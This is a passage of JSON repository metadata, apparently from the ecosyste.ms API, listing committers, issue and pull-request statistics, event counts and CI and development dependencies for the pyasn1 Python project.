:"2024-06-26T11:43:51.951Z","updated_at":"2026-08-20T00:45:56.192Z","committers":[{"name":"Ilya Etingof","email":"etingof@gmail.com","login":"etingof","count":433},{"name":"elie","email":"elie","login":"elie","count":389},{"name":"Simon Pichugin","email":"simon.pichugin@gmail.com","login":"droideck","count":30},{"name":"Ilya Etingof","email":"ietingof@redhat.com","login":null,"count":29},{"name":"Jan Pipek","email":"jan.pipek@gmail.com","login":"janpipek","count":26},{"name":"Christian Heimes","email":"christian@python.org","login":"tiran","count":11},{"name":"Avasam","email":"samuel.06@hotmail.com","login":"Avasam","count":9},{"name":"Jon Dufresne","email":"jon.dufresne@gmail.com","login":"jdufresne","count":4},{"name":"Tobias Deiminger","email":"tobias.deiminger@posteo.de","login":null,"count":3},{"name":"Stanisław Pitucha","email":"stanislaw.pitucha@hp.com","login":"viraptor","count":3},{"name":"Hugo van Kemenade","email":"hugovk","login":"hugovk","count":3},{"name":"Sergey Matveev","email":"stargrave@stargrave.org","login":null,"count":1},{"name":"Aarni Koskela","email":"akx@iki.fi","login":"akx","count":1},{"name":"Alex Shafer","email":"ashafer@pm.me","login":"ashafer01","count":1},{"name":"Brendan Walker","email":"brendan.walker@pelotoncycle.com","login":"bwalks","count":1},{"name":"Christian Clauss","email":"cclauss@me.com","login":"cclauss","count":1},{"name":"Enji Cooper","email":"1574099+ngie-eign","login":"ngie-eign","count":1},{"name":"Gabi Davar","email":"grizzly.nyo@gmail.com","login":"mindw","count":1},{"name":"Harrison","email":"HarrisonGregg","login":"HarrisonGregg","count":1},{"name":"Julien Castiaux (juc)","email":"Julien.castiaux@gmail.com","login":"Julien00859","count":1},{"name":"Kristian Koehntopp","email":"kris-github@koehntopp.de","login":"isotopp","count":1},{"name":"Maximilian","email":"Shortfinga","login":"Shortfinga","count":1},{"name":"Michael Mattice","email":"mmattice@ok7-eleven.com","login":"mmattice","count":1},{"name":"Russ Housley","email":"housley@vigilsec.com","login":"russhousley","count":1},{"name":"Sai Asish Y","email":"say.apm35@gmail.com","login":"SAY-5","count":1},{"name":"Till von Ahnen","email":"xoryouyou","login":"xoryouyou","count":1},{"name":"Vincent Bernat","email":"vincent@bernat.im","login":"vincentbernat","count":1},{"name":"Wolfgang Eder","email":"wolfgang.eder@frequentis.com","login":"wolfgang-eder","count":1},{"name":"mylapallilavanyaa","email":"149993494+mylapallilavanyaa","login":"mylapallilavanyaa","count":1},{"name":"nde","email":"denayer.norman@gmail.com","login":"rockwelln","count":1},{"name":"nekolyanich","email":"gmail@nekolyanich.com","login":"nekolyanich","count":1}],"past_year_committers":[{"name":"Simon Pichugin","email":"simon.pichugin@gmail.com","login":"droideck","count":19},{"name":"Wolfgang Eder","email":"wolfgang.eder@frequentis.com","login":"wolfgang-eder","count":1},{"name":"Sai Asish Y","email":"say.apm35@gmail.com","login":"SAY-5","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-20T00:00:10.776Z","repositories_count":6752313,"commits_count":978410056,"contributors_count":41242979,"owners_count":1359078,"committers_count":3353170,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"pyasn1/pyasn1","html_url":"https://github.com/pyasn1/pyasn1","last_synced_at":"2026-08-24T13:46:44.283Z","status":null,"issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"created_at":"2023-05-14T23:02:43.049Z","updated_at":"2026-08-24T13:46:44.283Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","issue_labels_count":{"table":{"bug":1}},"pull_request_labels_count":{"table":{"bug":1}},"issue_author_associations_count":{"table":{"NONE":58}},"pull_request_author_associations_count":{"table":{"NONE":77,"MEMBER":2}},"issue_authors":{"table":{"mhils":2,"tiran":2,"michael-dev":2,"FernandoGM5":2,"suut":2,"xoryouyou":2,"gvozdila":2,"mikhailantoshkin":1,"isotopp":1,"silent-nekto":1,"joszamama":1,"Polandia94":1,"tfm1988":1,"Vuizur":1,"SanthoshPillalamarry":1,"arambelo":1,"wuch-g2v":1,"lextm":1,"EpicWink":1,"macieyng":1,"salarshad":1,"onepeople158":1,"didijuve":1,"ngie-eign":1,"vivek-crest":1,"WibblyGhost":1,"jereeves5":1,"ralphje":1,"chetanpandey1266":1,"okainov":1,"justanotheranonymoususer":1,"Guiliano99":1,"tsigouris007":1,"Daverball":1,"droideck":1,"frazar":1,"malware-bytes":1,"MartijnHarmenzon":1,"kartikeyporwal":1,"bauergeorg":1,"katiyuki":1,"wolfgang-eder":1,"jmcenteeIV":1,"bseth15":1,"ralienpp":1,"cyb3rc":1,"adiroiban":1,"rsherwood-gsa":1,"user3472g":1,"JohnJamesUtley":1,"juan-morales":1}},"pull_request_authors":{"table":{"droideck":23,"Avasam":17,"tiran":11,"hugovk":3,"russhousley":2,"mylapallilavanyaa":2,"akx":2,"matejcik":2,"Julien00859":2,"abhi-0203":2,"isotopp":2,"xoryouyou":2,"noelpower":1,"cclauss":1,"wolfgang-eder":1,"ngie-eign":1,"Shortfinga":1,"gaoflow":1,"SAY-5":1,"schlitzered":1,"suut":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-25T00:00:09.459Z","repositories_count":16328808,"issues_count":42398313,"pull_requests_count":135865593,"authors_count":11520402,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{}},"past_year_pull_request_labels_count":{"table":{}},"past_year_issue_author_associations_count":{"table":{"NONE":11}},"past_year_pull_request_author_associations_count":{"table":{"NONE":18,"MEMBER":2}},"past_year_issue_authors":{"table":{"gvozdila":2,"suut":2,"droideck":1,"EpicWink":1,"frazar":1,"joszamama":1,"Polandia94":1,"tsigouris007":1,"user3472g":1}},"past_year_pull_request_authors":{"table":{"droideck":11,"abhi-0203":2,"matejcik":2,"gaoflow":1,"hugovk":1,"SAY-5":1,"schlitzered":1,"suut":1}},"maintainers":[{"table":{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}}],"active_maintainers":[{"table":{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}}]}},"events":{"total":{"ForkEvent":4,"IssueCommentEvent":19,"IssuesEvent":11,"PullRequestEvent":8,"PullRequestReviewCommentEvent":1,"PullRequestReviewEvent":3,"PushEvent":10,"WatchEvent":15},"last_year":{"ForkEvent":1,"IssueCommentEvent":4,"IssuesEvent":1,"PullRequestEvent":3,"PullRequestReviewCommentEvent":1,"PullRequestReviewEvent":1,"PushEvent":7,"WatchEvent":4}},"keywords":[],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/main.yml","sha":null,"kind":"manifest","created_at":"2023-01-31T20:55:14.130Z","updated_at":"2023-01-31T20:55:14.130Z","repository_link":"https://github.com/pyasn1/pyasn1/blob/main/.github/workflows/main.yml","dependencies":[{"id":7280792638,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":7280792639,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false},{"id":7280792640,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/pypi.yml","sha":null,"kind":"manifest","created_at":"2023-01-31T20:55:14.159Z","updated_at":"2023-01-31T20:55:14.159Z","repository_link":"https://github.com/pyasn1/pyasn1/blob/main/.github/workflows/pypi.yml","dependencies":[{"id":7280792641,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":7280792642,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false},{"id":7280792643,"package_name":"pypa/gh-action-pypi-publish","ecosystem":"actions","requirements":"release/v1","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"pypi","filepath":"devel-requirements.txt","sha":null,"kind":"manifest","created_at":"2023-01-31T20:55:14.226Z","updated_at":"2023-01-31T20:55:14.226Z","repository_link":"https://github.com/pyasn1/pyasn1/blob/main/devel-requirements.txt","dependencies":[{"id":7280792644,"package_name":"sphinx","ecosystem":"pypi","requirements":"\u003c1.5","direct":true,"kind":"development","optional":false},{"id":7280792645,"package_name":"sphinx","ecosystem":"pypi","requirements":"*","direct":true,"kind":"development","optional":false}]}],"score":30.49671827495919,"created_at":"2026-05-04T06:42:21.460Z","updated_at":"2026-08-25T14:18:25.149Z","avatar_url":"https://github.com/pyasn1.png","language":"Python","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/371444","html_url":"https://summary.ecosyste.ms/projects/371444"}